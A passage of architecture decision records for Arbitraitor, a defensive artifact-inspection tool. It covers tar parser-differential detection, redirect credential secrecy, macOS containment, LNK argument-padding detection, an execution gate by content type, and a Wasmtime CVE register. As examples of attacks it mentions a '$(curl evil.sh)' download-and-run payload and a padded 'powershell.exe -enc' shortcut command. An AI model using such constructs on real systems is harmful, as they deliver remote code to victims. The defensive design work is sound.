Status: Accepted Date: 2026-07-20 Issue: #459

Context

Tar archives have multiple metadata layers that can alter how later entries are interpreted. PAX extended headers (x and g) carry key-value records such as size=, while GNU long-name/long-link headers (L and K) and further PAX headers may appear between that metadata and the eventual file entry.

POSIX says PAX records apply to the file entry, not to intermediary extension headers. Vulnerable parsers have instead applied size= to an intermediary header, consuming a different number of bytes and desynchronizing the rest of the stream. That is a CWE-436 parser differential: one scanner can report a clean member set while a different extractor observes and releases another.

Relevant public cases include:

  • GHSA-vmf3-w455-68vh / CVE-2026-53655 (node-tar PAX size= parser split).
  • GHSA-3pv8-6f4r-ffg2 (tar-rs PAX header desynchronization, fixed in 0.4.46).
  • GHSA-9ppj-qmqm-q256 / CVE-2026-31802 (node-tar symlink drive-relative traversal).
  • CVE-2025-45582 (GNU tar two-step ../ symlink traversal).

Hardening only the primary parser is not enough for Arbitraitor. Invariant 1 requires no release before inspection, and inspection must match what downstream extractors will see. Invariant 4 also requires bounded parsing, so any added check must avoid unbounded archive expansion.

Decision

Arbitraitor keeps tar-rs as the primary tar parser and requires the locked crate version to be at least 0.4.46. The archive detector also runs a bounded consensus scanner over raw tar blocks after primary parsing.

The consensus scanner is intentionally narrow rather than a full second tar implementation. It walks 512-byte tar headers under the same file-count, byte-count, depth, and wall-clock limits as normal archive inspection. It emits FindingCategory::ParserDifferential when either:

  • a PAX size= record is pending and an intermediary L, K, x, or g extension header appears before the next file entry; or
  • the primary parser’s member list differs from the bounded consensus member list.

These findings carry the parser-smelting hazard tag, severity Medium (the policy layer may elevate it), and a CWE-436 taxonomy reference. The finding is recorded in receipts, and normal verdict calculation refuses automatic release because the artifact is no longer clean.

arbitraitor doctor reports the locked tar crate version and marks the system unhealthy if it is below 0.4.46 or absent from Cargo.lock.

Consequences

  • Parser smelting is distinct from path traversal: traversal describes where an agreed entry writes; smelting describes disagreement over which entries exist.
  • The check is fail-closed. A consensus-parser failure becomes a parser differential finding rather than a clean result.
  • The scanner does not add a production dependency or call out to a host tar/libarchive binary, preserving reproducible local analysis.
  • The scanner is not a general-purpose extractor. It exists only to catch consensus hazards and member-list disagreement under bounded processing.

Alternatives considered

Rely only on patched tar-rs

Rejected. Pinning 0.4.46 fixes the known tar-rs PAX desync, but does not prove that the scanner and every downstream extractor share identical membership semantics for future extension-header combinations.

Add libarchive as a second parser

Rejected for this change. It would add a native dependency and build/runtime surface requiring the dependency admission checklist. The current vulnerability class is detectable with a bounded raw-header cross-check and member-list comparison.

Shell out to Python tarfile or system tar

Rejected. Host tools vary by platform and version, and subprocess execution is unnecessary for a deterministic parser-consensus guard.

References

  • Arbitraitor spec §19.1, parser consensus check.
  • Arbitraitor spec §19.3, archive hazards.
  • CWE-436: Interpretation Conflict.
  • GHSA-3pv8-6f4r-ffg2, tar-rs PAX header desynchronization.
  • GHSA-vmf3-w455-68vh / CVE-2026-53655.
  • GHSA-9ppj-qmqm-q256 / CVE-2026-31802.
  • CVE-2025-45582.

ADR 0033: Fetch cross-protocol credential secrecy

Status: Accepted Date: 2026-07-20 Issue: #472

Context

CVE-2025-14524 showed that a fetch transport can mishandle redirects from HTTP(S) URLs carrying OAuth2 bearer credentials into non-HTTP protocols such as IMAP, LDAP, POP3, or SMTP. Even when the first request is safe, a permissive redirect stack can reinterpret bearer, cookie, or default .netrc credentials as protocol credentials for the destination scheme.

Arbitraitor already blocks unsupported schemes and records redacted redirect chains. It also keeps reqwest behind arbitraitor-fetch so transport policy does not leak into callers. The missing piece was an explicit credential secrecy outcome that records why a credential-bearing cross-protocol redirect failed closed.

Decision

Arbitraitor fetch policy blocks every credential-bearing redirect from http or https into imap, ldap, pop3, smtp, ftp, file, gopher, or smb before the destination request is constructed. This rule is stricter than client defaults and applies before general scheme validation so diagnostics can identify the credential-secrecy class instead of only reporting an unsupported scheme.

Fetch metadata records RedirectCredentialSecrecy:

  • ok when no credential-bearing cross-protocol redirect was observed.
  • bearer_leaked when an Authorization bearer value would have crossed the protocol boundary.
  • cookie_leaked when a Cookie value would have crossed the protocol boundary.
  • netrc_default_leaked when a caller-declared default .netrc token would have crossed the protocol boundary.

Canonical receipts expose this outcome through optional retrieval metadata. The field is skip_serializing_if = "Option::is_none" per ADR-0014 so receipts that do not set it retain stable canonical bytes. Pipelines that have fetch metadata set the field, including the ok outcome, so new receipts explain redirect credential handling. This also aligns with ADR-0023: the in-toto Statement envelope carries the same canonical receipt predicate and therefore records the transport secrecy decision without a second schema.

Consequences

  • Credential-bearing cross-protocol redirects fail closed before any outbound request reaches the non-HTTP target.
  • Error messages and receipts record only the credential class, never the raw credential value.
  • Existing callers that do not configure credentials continue to see ordinary scheme-policy failures for unsupported redirect targets.
  • Future compatibility tests for reqwest, hyper, ureq, and neqo can use the recorded outcome as the matrix assertion for spec §43.7.

Alternatives considered

  • Rely on the HTTP client redirect policy. Rejected because CVE-2025-14524 is a client-default failure mode; Arbitraitor must enforce this boundary itself.
  • Strip credentials and continue into the destination protocol. Rejected because Arbitraitor’s fetcher is an HTTP retrieval component; cross-protocol redirects into mail, directory, file, or SMB protocols are outside its trust envelope.
  • Record only an error string. Rejected because receipts need a stable, machine-readable field for compatibility matrices and audit queries.

References

  • Spec §11.4 redirect handling
  • Spec §43.7 cross-protocol redirect compatibility matrix
  • ADR-0014: Receipt canonicalization (RFC 8785 JCS)
  • ADR-0018: SSRF, proxy, and connected-peer verification
  • ADR-0023: in-toto Statement receipt envelope
  • CVE-2025-14524: curl OAuth2 bearer token cross-protocol redirect leak
  • CVE-2025-0167: curl .netrc default-token leak

ADR 0034: Apple Containerization GA strategy for macOS 26+

Status: Proposed Date: 2026-07-20 Issue: #475 Supersedes: ADR-0024 (defers the GA replacement for the Endpoint Security caveat)

Context

ADR-0024 left macOS containment deferred pending a documented replacement for the deprecated sandbox-exec. It cited Apple Containerization issue 737 as an open research question and pinned the recommendation to the Endpoint Security framework (ES) for observation-only events, with contained assurance unsupported.

Apple open-sourced the Containerization Swift framework at WWDC 2025-06-09 (WWDC25 session 346, apple/containerization). It is the basis of the container CLI shipping with macOS 26 and exposes per-container virtual machines with the following properties:

  • One lightweight VM per Linux container — no shared kernel, no shared filesystem, no shared network namespace.
  • Sub-second start times — kernels are cached, root file systems are thin-provisioned EXT4 block devices, and vminit is replaced with a purpose-built minimal init.
  • Isolated IP — each container receives a unique IPv4/IPv6 address on a host-side virtual network; the host-side bridge is the only shared surface.
  • Linux backend via cloud-hypervisor + KVM — the same library can run on Linux hosts that expose /dev/kvm, which is relevant for cross-platform testing of the containment path even when Arbitraitor’s primary macOS deployment is on Apple silicon.
  • Per-container EXT4 block device — rootfs is a disk image, not an overlay; mkfs.ext4 runs on first write, and writes go to a per-container copy-on-write image.

These properties map directly onto the controls required for ADR-0007 contained assurance:

ADR-0007 controlContainerization primitive
Filesystem isolationPer-container EXT4 block device
Process-tree containmentPer-container lightweight VM (no shared kernel)
Network policyPer-container IP on host-side bridge
Resource limitscloud-hypervisor VM resource constraints
Privilege suppressionVM boundary — no host-side privilege to elevate
Capability probecontainer CLI inspect / runtime introspection

Because the VM is the trust boundary, Containerization does not require System Extension installation, Developer ID signing, notarization, or end-user install consent — eliminating the heaviest barriers flagged in ADR-0024.

Spec §27.4 still treats Apple Containerization as “no documented replacement” because the upstream issue 737 remained unresolved when ADR-0024 was drafted. The June 2025 GA changes that citation and unblocks macOS contained assurance.

Decision

macOS containment strategy on macOS 26 and newer is:

  1. Preferred path — Apple Containerization (container CLI + Swift framework). Each contained execution runs inside a Containerization VM. The adapter is gated on macOS 26+ and Apple silicon (aarch64-apple-darwin) with a feature-detected probe (not a hard compile-time gate).
  2. Observation-only path — Endpoint Security framework (unchanged from ADR-0024). Remains the supported fallback on macOS 13–15 and when Containerization is unavailable (older hardware, virtualization disabled, IT policy disallowing container CLI).
  3. Containment deferred on macOS 13–15 and Intel macOS. contained assurance requests on those hosts continue to downgrade to mediated (or block per policy) per ADR-0024.

Containment flow

flowchart TD
    A[Run request with contained assurance] --> B{Host OS check}
    B -- macOS 26+ Apple silicon --> C{Containerization probe}
    B -- macOS 13-15 or Intel --> X[Downgrade to mediated per ADR-0024]
    B -- Linux / Windows --> Y[Existing Landlock / Windows adapter path]
    C -- available --> D[Spawn containerized VM]
    C -- unavailable --> Z[Observation-only via Endpoint Security]
    D --> E[Per-container EXT4 block device]
    D --> F[Per-container IP on host bridge]
    D --> G[Sub-second cold start from cached kernel]
    D --> H[Execute artifact bytes inside VM]
    H --> I[Record ContainerizationAdapter receipt field]
    H --> J[emit RFC 8785 JCS receipt]
    Z --> J
    Y --> J

Migration path from ADR-0024

  • Existing macOS deployments running contained requests see no change — they continue to downgrade to mediated on macOS 13–15.
  • macOS 26+ users opt into Containerization by installing the container CLI and configuring the Arbitraitor sandbox backend (arbitraitor doctor surfaces Containerization availability alongside Landlock probing).
  • Receipt field containerization_available: bool is added to the effective-controls matrix (§27.7) for macOS runtimes so downstream auditors can distinguish contained-on-containerization from contained-on-other-adapter.

Out of scope for this ADR

  • The Swift-side binding to the Containerization framework (lives behind a small FFI shim in arbitraitor-sandbox). Tracked as a follow-up issue.
  • A container CLI shim path for hosts that cannot run the Swift framework (e.g. macOS 26 on Intel). Not part of the GA story; revisit if Apple ships an Intel backport.
  • Cross-host container migration. Containerization does not yet support live migration; the architecture assumes a single-host trust boundary.

Consequences

  • macOS 26+ users can claim contained assurance for the first time (previously capped at mediated or block per policy).
  • Two macOS sandbox backends coexist: ContainerizationAdapter (macOS 26+ Apple silicon) and EndpointSecurityAdapter (observation-only, all macOS versions). Receipts distinguish them.
  • arbitraitor doctor gains a Containerization probe section that reports framework version, CLI availability, virtualization support, and last probe timestamp.
  • The ADR-0024 deferral becomes obsolete for macOS 26+ hosts but remains valid documentation for macOS 13–15 and Intel macOS. ADR-0024 is not formally superseded; this ADR is a forward-looking strategy update and a follow-up ADR will supersede ADR-0024 once the ContainerizationAdapter ships.
  • No new dependency on the Swift toolchain at the Arbitraitor Rust build layer — the Swift framework is invoked through the user-installed container CLI, matching how YARA-X is invoked today.

Alternatives considered

  • Continue deferring macOS contained on all macOS versions. Status quo from ADR-0024. Rejected: Containerization GA makes the deferral gratuitous on macOS 26+.
  • Mandate Containerization for contained on all macOS hosts. Would drop macOS 13–15 and Intel macOS from the supported surface. Rejected: too aggressive for a single WWDC cycle; users on older hosts still need a documented path.
  • Replace Endpoint Security framework entirely with Containerization. Rejected: ES is still required for inspect assurance (observation events) and for contained on macOS 13–15. The two are complementary, not substitutes.
  • Run container CLI inside a disposable VM under Virtualization.framework. Doubles the VM overhead and adds no isolation benefit over Containerization’s own VM boundary. Rejected.

References

ADR 0035: LNK argument padding detection (CVE-2025-9491)

Status: Accepted Date: 2026-07-20 Issue: #473

Context

CVE-2025-9491 is a Windows Shortcut (.lnk) UI-misrepresentation defect. When the COMMAND_LINE_ARGUMENTS field in an MS-SHLLINK shortcut begins with 260 or more whitespace characters, the Windows Explorer Properties dialog truncates the display before the real command becomes visible. A user inspecting a shortcut that appears to invoke notepad.exe may not see that the arguments field actually carries powershell.exe -enc <payload> after the padding.

Microsoft declined to fully patch the underlying rendering behavior. A partial mitigation shipped in June 2025, and ACROS Security released a 0patch micropatch. Because the defect is in the rendering layer and not the shortcut loader, host mitigations alone do not guarantee that every downstream reviewer sees the true command. Arbitraitor must detect the pattern at inspection time so a finding is raised before any release or execution decision.

Spec §19.1 lists archive formats and §15.3 describes suspicious script behavior, but neither section names .lnk as a content class nor describes a whitespace-padding detection rule. This ADR fills both gaps.

Decision

Arbitraitor adds ArtifactType::WindowsShortcut as a first-class content class in arbitraitor-artifact. The classifier detects the MS-SHLLINK header magic (HeaderSize field equal to 0x0000004C at offset 0) and returns the new variant at Confidence::Confirmed.

A new arbitraitor_artifact::lnk module implements a bounded, pure-Rust MS-SHLLINK parser. The parser:

  1. Validates the ShellLinkHeader (76 bytes, HeaderSize == 0x4C).
  2. Reads the Flags field at offset 0x14.
  3. Skips the optional LinkTargetIDList (when HasLinkTargetIDList is set) using its 2-byte IDListSize prefix.
  4. Skips the optional LinkInfo section (when HasLinkInfo is set and ForceNoLinkInfo is clear) using its 4-byte LinkInfoSize prefix.
  5. Walks the StringData section in spec order (NAME_STRING, RELATIVE_PATH, WORKING_DIR, COMMAND_LINE_ARGUMENTS, ICON_LOCATION) and extracts COMMAND_LINE_ARGUMENTS when the HasArguments flag is set.
  6. Decodes the string as UTF-16LE when the Unicode flag is set, or as ASCII otherwise.

When the extracted COMMAND_LINE_ARGUMENTS field begins with 260 or more consecutive whitespace characters, the inspector emits a finding with:

  • id: artifact.lnk-argument-padding
  • category: FindingCategory::SuspiciousScriptBehavior (spec §15.3)
  • severity: High
  • confidence: Confirmed
  • references: CVE-2025-9491
  • tags: cve-2025-9491, lnk, ui-misrepresentation

The threshold of 260 characters matches the Windows Explorer Properties dialog truncation point identified by ACROS Security. The parser is cross-platform: it uses pure byte manipulation and never calls Windows APIs, so detection works on Linux and macOS inspection hosts.

The parser is bounded per spec invariant 4. LinkTargetIDList, LinkInfo, and each StringData string are rejected when their declared sizes exceed 64 KiB or extend past the input. The parser never executes the shortcut target and never writes bytes outside the CAS quarantine.

Consequences

  • .lnk artifacts are classified as WindowsShortcut at Confirmed confidence, so policy rules can gate shortcuts without a separate detector.
  • Shortcuts with padded arguments raise a SuspiciousScriptBehavior finding that participates in normal verdict calculation. A clean shortcut produces no finding.
  • The parser does not validate the full MS-SHLLINK structure. It extracts only the COMMAND_LINE_ARGUMENTS field needed for CVE-2025-9491 detection. Future detectors that need the target path, icon location, or environment variables can extend the parser without changing the content class.
  • The 260-character threshold is a detection heuristic, not a format requirement. Legitimate shortcuts with long but visible arguments are not flagged because the rule requires leading whitespace, not total length.
  • No new production dependency is added. The parser uses arbitraitor-model types and sha2 (already in the crate manifest) and is #![forbid(unsafe_code)].

Alternatives considered

Shell out to a Windows-only tool

Rejected. Arbitraitor inspection hosts run on Linux and macOS. A Windows-only parser would make .lnk detection non-portable and introduce a subprocess dependency for a deterministic byte-format check.

Add a lnk crate from crates.io

Rejected for this change. The MS-SHLLINK fields needed for CVE-2025-9491 detection are a header, two optional skip sections, and one counted string. A bounded pure-Rust parser is smaller than the admission checklist cost of a new dependency. This decision can be revisited if future detectors need full MS-SHLLINK coverage (target path, environment variables, extra data).

Detect any whitespace run, not just leading whitespace

Rejected. The CVE-2025-9491 pattern is leading whitespace that pushes the real command out of the visible area. A whitespace run in the middle of an argument list is not the same defect and would produce false positives.

Set the threshold at 259 characters

Rejected. The ACROS Security analysis and the Windows Explorer rendering limit point to 260 as the truncation width. Using 260 keeps the detector aligned with the observed defect and avoids off-by-one ambiguity.

References

  • Arbitraitor spec §19.1, content classes.
  • Arbitraitor spec §15.3, suspicious script behavior.
  • CVE-2025-9491: Windows Shortcut LNK UI misrepresentation.
  • ACROS Security 0patch micropatch for CVE-2025-9491.
  • MS-SHLLINK: Shell Link (.lnk) Binary File Format.
  • ADR-0032: Tar parser consensus check (precedent for bounded pure-Rust parser).

ADR 0036: run pipeline content-type execution gate

Status: Accepted Date: 2026-07-20 Issue: #612

Context

Before this decision, arbitraitor run <url> selected an execution mode with a single boolean check:

#![allow(unused)]
fn main() {
let mode = if artifact.is_native {
    ExecutionMode::Native
} else {
    ExecutionMode::Script
};
}

is_native matched only PeExecutable, ElfExecutable, and MachOExecutable (per is_native_artifact in run_services.rs). Every other classified ArtifactType — including HtmlDocument, JsonDocument, XmlDocument, GenericText, GenericBinary, archives, compressed payloads, PowerShellScript, PythonScript, JavaScript, and Unknown — fell through to ExecutionMode::Script and was piped through /bin/bash --noprofile --norc as if it were a shell script.

This caused two compounding problems, reported in #612:

  1. Unsafe and incorrect execution. HTML, JSON, XML, and other text/markup can incidentally contain bash-parseable constructs ($(...), </> redirections, | pipes, backticks). Piping such bytes to bash amounts to executing whatever bash interpretation falls out of the content. The user who runs arbitraitor run https://qlty.sh does not expect the 39 KB HTML response to be fed to bash, and an attacker who controls the response body can deliver PowerShell-as-bash-as-$(curl evil.sh) payloads that bypass the inspection verdict (the bytes scanned are not the bytes that bash runs — bash re-parses them under different rules than the shell analyzer).

  2. Diagnostic loss on early child exit. When the interpreter process exited before consuming the streamed script bytes (EPIPE on the stdin pipe — e.g. because unshare --user was denied, or because bash rejected the input as a parse error and exited 1), ScriptExecution::execute returned ExecError::ScriptIo { stage: "write-script-stdin", source } without ever reading the child’s stderr. The actual root cause (whatever bash or unshare printed to stderr) was silently discarded, leaving the user with a generic “script input I/O failure” message and no clue whether the cause was “I gave bash junk”, “my kernel denies user namespaces”, or “Landlock blocked the interpreter path”.

The diagnostic-loss bug also affected legitimate shell-script execution: a shell script that exited early (e.g. on set -e followed by a failing command) produced the same misleading write-script-stdin failure even though the script bytes WERE valid bash, because bash exited before draining the parent’s pipe buffer.

Decision

  1. Gate execution by ArtifactType in the run pipeline. Only ArtifactType::ShellScript(_) and the native-executable types (PeExecutable, ElfExecutable, MachOExecutable) are runnable by the current run pipeline. All other types — including PowerShellScript, PythonScript, and JavaScript (whose exec paths exist in arbitraitor-exec but are not wired into run) — fail closed with RunFailure::Blocked before reaching the execution layer.

    InspectedArtifact now carries ArtifactType directly (rather than a stringified {:?} form), and execution_mode_for_type(ArtifactType) is the single source of truth for the runnable-vs-blocked decision.

  2. Preserve child stderr across write_all / flush failures. ExecError::ScriptIo now carries child_exit_code: Option<i32> and child_stderr: Vec<u8>, populated best-effort via spawn::best_effort_capture after a write or flush failure. A new ExecError::script_io constructor renders a stable, bounded child_detail suffix (≤1 KiB stderr preview) so the Display representation surfaces the real root cause: script input I/O failure during write-script-stdin (child exited 1; stderr: "bash: !DOCTYPE: event not found") or script input I/O failure during write-script-stdin (child exited before reading stdin; stderr: "unshare: operation not permitted").

    PowerShellError::ScriptIo mirrors the same fields and shares the rendering helper (ExecError::script_io_detail) so PowerShell execution gets the same diagnostic improvement when wired.

  3. Exit code reused, not added. Non-executable artifacts return the existing ExitCode::BlockedByPolicy (the same code returned by Verdict::Block). No new exit code is introduced; the blocked by policy: <reason> output line already exists in write_failure.

Consequences

  • Safe by default. arbitraitor run no longer feeds arbitrary text/markup/binary content to bash. Users who want to execute PowerShell, Python, or JavaScript artifacts through arbitraitor run must wait for those exec paths to be wired into run_services (tracked separately).

  • Better diagnostics. When arbitraitor run fails during script execution, the user-visible failure message now identifies whether the child exited early (and what it printed to stderr) — distinguishing “user-fed bash junk” from “kernel denied the namespace” from “Landlock blocked the interpreter path”.

  • API surface change in arbitraitor-exec. ExecError::ScriptIo and PowerShellError::ScriptIo gain new fields. The project is pre-alpha and the README already documents that “the API, CLI, receipts, and policy schemas will change”, so this is acceptable. A #[must_use] ExecError::script_io(...) constructor is provided so callers don’t have to build the child_detail field by hand.

  • InspectedArtifact field shape changes. is_native: bool is removed in favor of deriving native-vs-script from artifact_type: ArtifactType. Receipt serialization is unaffected (the artifact_type string passed to ReceiptBuilder::artifact_type is generated on demand via format!("{:?}", artifact.artifact_type)).

  • No regression for existing tests/usage. Shell scripts and native executables continue to execute as before. The content-type gate is a strictly-tighter policy that fails closed on types that previously produced meaningless write-script-stdin errors.

Alternatives considered

  • Use ContentType from fetch metadata (HTTP Content-Type header) instead of ArtifactType (content-derived). Rejected: HTTP Content-Type is attacker-controllable and frequently mislabeled (servers returning application/octet-stream for shell scripts, or text/plain for HTML). ArtifactType is derived from immutable artifact bytes via shebang / magic-number detection, which is the trust boundary we must gate on.

  • Loosen the gate to allow PowerShellScript / PythonScript / JavaScript via the corresponding interpreters. Deferred: wiring those requires interpreter discovery (pwsh, python3, node), path canonicalization, and Landlock rules for the interpreter’s load path. Until that work lands, blocking those types is strictly safer than piping them to bash. A future ADR can extend the gate when those exec paths are wired.

  • Add a per-type allowlist policy knob (e.g. [run] allow_json = true). Rejected: there is no safe execution path for JSON / XML / HTML / archives — even with bash, the result is either a parse error or accidental command execution. There is no scenario where a user should be able to opt into feeding HTML to bash. The gate is a hard rule, not a policy preference.

  • Render child_stderr directly in the #[error(...)] format string without a separate child_detail field. Rejected: thiserror format strings can only reference fields by name; we’d need either a custom Display impl or a precomputed field. The precomputed child_detail approach keeps the error variant a plain struct and lets the constructor centralize the bounded-rendering policy (1 KiB stderr preview, UTF-8 lossy decode, trailing-whitespace trim).

References

  • Issue #612 — bug report with reproduction and root-cause analysis
  • ADR-0007 — assurance levels model (gating is a “fail closed” policy)
  • ADR-0008 — execution context security profile (the mediated execution boundary this gate sits in front of)
  • ADR-0027 — CLI pipeline boundary (the run module this gate lives in)
  • docs/conventions.md — security invariants (fail closed, no early release, safe presentation for the bounded stderr preview)

ADR 0037: Wasmtime CVE risk register

Status: Accepted Date: 2026-07-23 Issue: #463

Context

Arbitraitor uses Wasmtime as its primary plugin runtime (ADR-0006). The arbitraitor-plugin-host crate depends on wasmtime with default-features = false and the cranelift, runtime, component-model, parallel-compilation, and cache features. The experimental-wasm feature gate is off by default. The resolved version in Cargo.lock is wasmtime 46.0.1.

On 2026-04-09 the Bytecode Alliance published a batch of 12 security advisories for Wasmtime. Two are Critical (CVSS 9.0):

  • CVE-2026-34971 / GHSA-jhxm-h53p-jm7w — Cranelift aarch64 miscompilation enabling sandbox escape via arbitrary host-memory read/write.
  • CVE-2026-34987 / GHSA-xx5w-cvp6-jv83 — Winch compiler backend sandbox-escaping memory access on aarch64.

Both allow a malicious WebAssembly guest module to read or write arbitrary host memory, defeating the sandbox boundary that ADR-0006 relies on for plugin isolation. Spec §41.9.1 governs Wasmtime plugin execution but has no risk register tying compiler/backend selection and version to security guarantees.

This ADR establishes that risk register as a versioned, living document.

Decision

Adopt a versioned Wasmtime CVE risk register cataloging all known advisories from official sources (GitHub Security Advisories, RustSec, NVD/CVE). The register is maintained in this ADR and updated whenever a new Wasmtime advisory is published or the pinned version changes.

Pinned version

FieldValue
Cratewasmtime
Cargo.toml constraint>=29
Resolved version (Cargo.lock)46.0.1
Features enabledcranelift, runtime, component-model, parallel-compilation, cache
Features disabled (default-features = false)WASI, ambient filesystem, networking, all ambient capabilities
Feature gateexperimental-wasm (off by default)
Minimum safe version (per issue #463)43.0.1

Risk register

All advisories below are sourced from the Bytecode Alliance GitHub Security Advisories page (https://github.com/bytecodealliance/wasmtime/security/advisories) and the RustSec advisory database (https://rustsec.org/advisories/). The “Affected?” column reflects whether the pinned version 46.0.1 is vulnerable.

Critical

CVE / GHSA / RUSTSECSeverityAffected versionsFixedDescriptionAffected?
CVE-2026-34971 / GHSA-jhxm-h53p-jm7w / RUSTSEC-2026-0096Critical (9.0)>=32.0.0, <36.0.7; >=37.0.0, <42.0.2; >=43.0.0, <43.0.136.0.7, 42.0.2, 43.0.1Cranelift aarch64 miscompiles load(iadd(base, ishl(index, amt))) when wasm_memory64 is enabled and Spectre mitigations are disabled, creating divergent bounds-check vs. load addresses. Enables arbitrary host-memory read/write (sandbox escape).No — 46.0.1 >= 43.0.1
CVE-2026-34987 / GHSA-xx5w-cvp6-jv83 / RUSTSEC-2026-0095Critical (9.0)>=25.0.0, <36.0.7; >=37.0.0, <42.0.2; >=43.0.0, <43.0.136.0.7, 42.0.2, 43.0.1Winch compiler backend assumes upper bits of a 32-bit memory offset stored in a 64-bit register are cleared when they may not be. Allows guest Wasm to access memory before/after the linear-memory sandbox. Observed PoC on aarch64; x86-64 theoretical.No — 46.0.1 >= 43.0.1, and Winch is not enabled

High

CVE / GHSA / RUSTSECSeverityAffected versionsFixedDescriptionAffected?
GHSA-2r75-cxrj-cmph / RUSTSEC-2026-0149High (7.5)wasmtime-wasi <24.0.9; >=36.0.10, <37.0.0; >=44.0.2, <45.0.0; <46.0.024.0.9, 36.0.10, 44.0.2, 46.0.0WASI path_open(TRUNCATE) bypasses FilePerms::WRITE host restriction.Nowasmtime-wasi not in dependency tree (default-features = false)

Moderate

CVE / GHSA / RUSTSECSeverityAffected versionsFixedDescriptionAffected?
CVE-2026-34941 / GHSA-hx6p-xpx3-jvvv / RUSTSEC-2026-0093Moderate (6.9)<24.0.7; >=36.0.7, <37.0.0; >=42.0.2, <43.0.0; <43.0.124.0.7, 36.0.7, 42.0.2, 43.0.1Heap OOB read in component model UTF-16 to latin1+utf16 string transcoding.No — 46.0.1 >= 43.0.1
GHSA-394w-hwhg-8vgm / RUSTSEC-2026-0091Moderate (6.1)<24.0.7; >=36.0.7, <37.0.0; >=42.0.2, <43.0.0; <43.0.124.0.7, 36.0.7, 42.0.2, 43.0.1OOB write or crash when transcoding component model strings.No — 46.0.1 >= 43.0.1
GHSA-q49f-xg75-m9xw / RUSTSEC-2026-0089Moderate<43.0.143.0.1Host panic when Winch compiler executes table.fill.No — 46.0.1 >= 43.0.1, and Winch is not enabled
GHSA-qqfj-4vcm-26hvModerate<43.0.143.0.1Segfault or unused out-of-sandbox load with f64x2.splat on Cranelift x86-64.No — 46.0.1 >= 43.0.1
GHSA-f984-pcp8-v2p7 / RUSTSEC-2026-0094Moderate<43.0.143.0.1Improperly masked return value from table.grow with Winch compiler backend.No — 46.0.1 >= 43.0.1, and Winch is not enabled
GHSA-jxhv-7h78-9775 / RUSTSEC-2026-0092Moderate<43.0.143.0.1Panic when transcoding misaligned component model UTF-16 strings.No — 46.0.1 >= 43.0.1
GHSA-m758-wjhj-p3jqModerate<43.0.143.0.1Panic when lifting flags component value.No — 46.0.1 >= 43.0.1
GHSA-p8xm-42r7-89xgModerate<43.0.143.0.1Panic when allocating a table exceeding the size of the host’s address space.No — 46.0.1 >= 43.0.1
GHSA-243v-98vx-264hModerate<41.0.441.0.4Panic adding excessive fields to a wasi:http/types.fields instance.No — 46.0.1 >= 41.0.4
GHSA-xjhv-v822-pf94 / RUSTSEC-2026-0022Moderate (6.9)>=39.0.0, <40.0.4; >=40.0.4, <41.0.040.0.4, 41.0.4Panic when dropping a [Typed]Func::call_async future.No — 46.0.1 >= 41.0.4
GHSA-852m-cvvp-9p4w / RUSTSEC-2026-0020Moderate (6.9)<24.0.6; >=36.0.6, <37.0.0; >=40.0.4, <41.0.024.0.6, 36.0.6, 40.0.4, 41.0.4Guest-controlled resource exhaustion in WASI implementations.No — 46.0.1 >= 41.0.4
GHSA-vc8c-j3xm-xj73Moderate<25.0.025.0.0Segfault or unused out-of-sandbox load with f64.copysign on x86-64.No — 46.0.1 >= 25.0.0
GHSA-4ch3-9j33-3pmjModeratewasmtime-wasi <46.0.046.0.0WASI hard links and renames bypass FilePerms for destination.Nowasmtime-wasi not in dependency tree

Low

CVE / GHSA / RUSTSECSeverityAffected versionsFixedDescriptionAffected?
GHSA-hfr4-7c6c-48w2 / RUSTSEC-2026-0090Low (1.0)<43.0.043.0.1Use-after-free bug after cloning wasmtime::Linker.No — 46.0.1 >= 43.0.1
GHSA-6wgr-89rj-399p / RUSTSEC-2026-0088Low (2.3)<43.0.143.0.1Data leakage between pooling allocator instances.No — 46.0.1 >= 43.0.1, and pooling allocator is not enabled
GHSA-m9w2-8782-2946Low<43.0.143.0.1Host data leakage with 64-bit tables and Winch.No — 46.0.1 >= 43.0.1, and Winch is not enabled
GHSA-3p27-qvp9-27qfLowwasmtime-wasi <46.0.046.0.0Leak in WASIp1 fd_renumber implementation.Nowasmtime-wasi not in dependency tree

Historical

CVE / GHSA / RUSTSECSeverityAffected versionsFixedDescriptionAffected?
CVE-2024-47763 / GHSA-q8hx-mm92-4wvg / RUSTSEC-2024-0440High (5.5)<21.0.2; >=21.0.2, <22.0.0; >=22.0.1, <23.0.0; >=23.0.3, <24.0.0; >=24.0.1, <25.0.025.0.2Runtime crash when combining tail calls with stack traces.No — 46.0.1 >= 25.0.2

Exploitability assessment

Both Critical CVEs require a malicious WebAssembly guest module to be loaded and executed. The attack surface is:

  1. A plugin author crafts a .wasm component that exploits the Cranelift aarch64 miscompilation or the Winch backend memory access bug.
  2. The malicious component is loaded by arbitraitor-plugin-host.
  3. The component executes and reads/writes host memory outside the sandbox.

Mitigating factors in the current configuration:

  • The experimental-wasm feature is off by default. Wasmtime plugin loading is not active unless the feature is explicitly enabled at build time.
  • The Winch compiler backend is not enabled. Only cranelift is in the feature set, so CVE-2026-34987 (Winch-only) is not reachable.
  • CVE-2026-34971 requires wasm_memory64 enabled and Spectre mitigations disabled. Wasmtime enables Spectre mitigations by default; Arbitraitor does not disable them.
  • The pinned version 46.0.1 is above the fix version 43.0.1 for all April 2026 advisories.

Enforcement

  1. cargo-deny advisories checkdeny.toml already configures the RustSec advisory database (https://github.com/rustsec/advisory-db) and yanked = "deny". The security.yml CI workflow runs cargo deny check advisories on every PR. Any new Wasmtime advisory published to RustSec will automatically fail CI if the pinned version is affected.

  2. cargo-audit — The security.yml CI workflow also runs cargo audit as a second independent check against the RustSec database.

  3. GitHub dependency review — Blocks vulnerable dependency additions in PRs via GitHub’s native dependency review API.

  4. Monitoring process — The risk register in this ADR must be updated whenever:

Consequences

  • The risk register provides a single source of truth for Wasmtime CVE awareness in the Arbitraitor plugin sandbox.
  • cargo-deny and cargo-audit in CI automatically enforce the advisory baseline. No manual rule is needed in deny.toml for Wasmtime — the global advisories check covers it.
  • The >=29 version constraint in Cargo.toml is deliberately loose to allow Cargo to resolve to the latest compatible version. The lockfile pins 46.0.1, which is above all known fix versions. Lockfile changes are security-relevant per conventions §Dependencies and must be reviewed.
  • If a future advisory affects 46.0.1, CI will fail on the advisories check, blocking merge until the version is bumped or the advisory is formally evaluated and ignored with justification (following the pattern used for RUSTSEC-2025-0141 etc. in deny.toml).
  • Enabling the Winch compiler backend or wasm_memory64 in the future requires updating this risk register and re-evaluating exploitability.
  • The experimental-wasm feature gate means Wasmtime plugin loading is not active in default builds. The risk register still applies because the feature can be enabled by users building from source.

Alternatives considered

Pin a minimum version floor in Cargo.toml

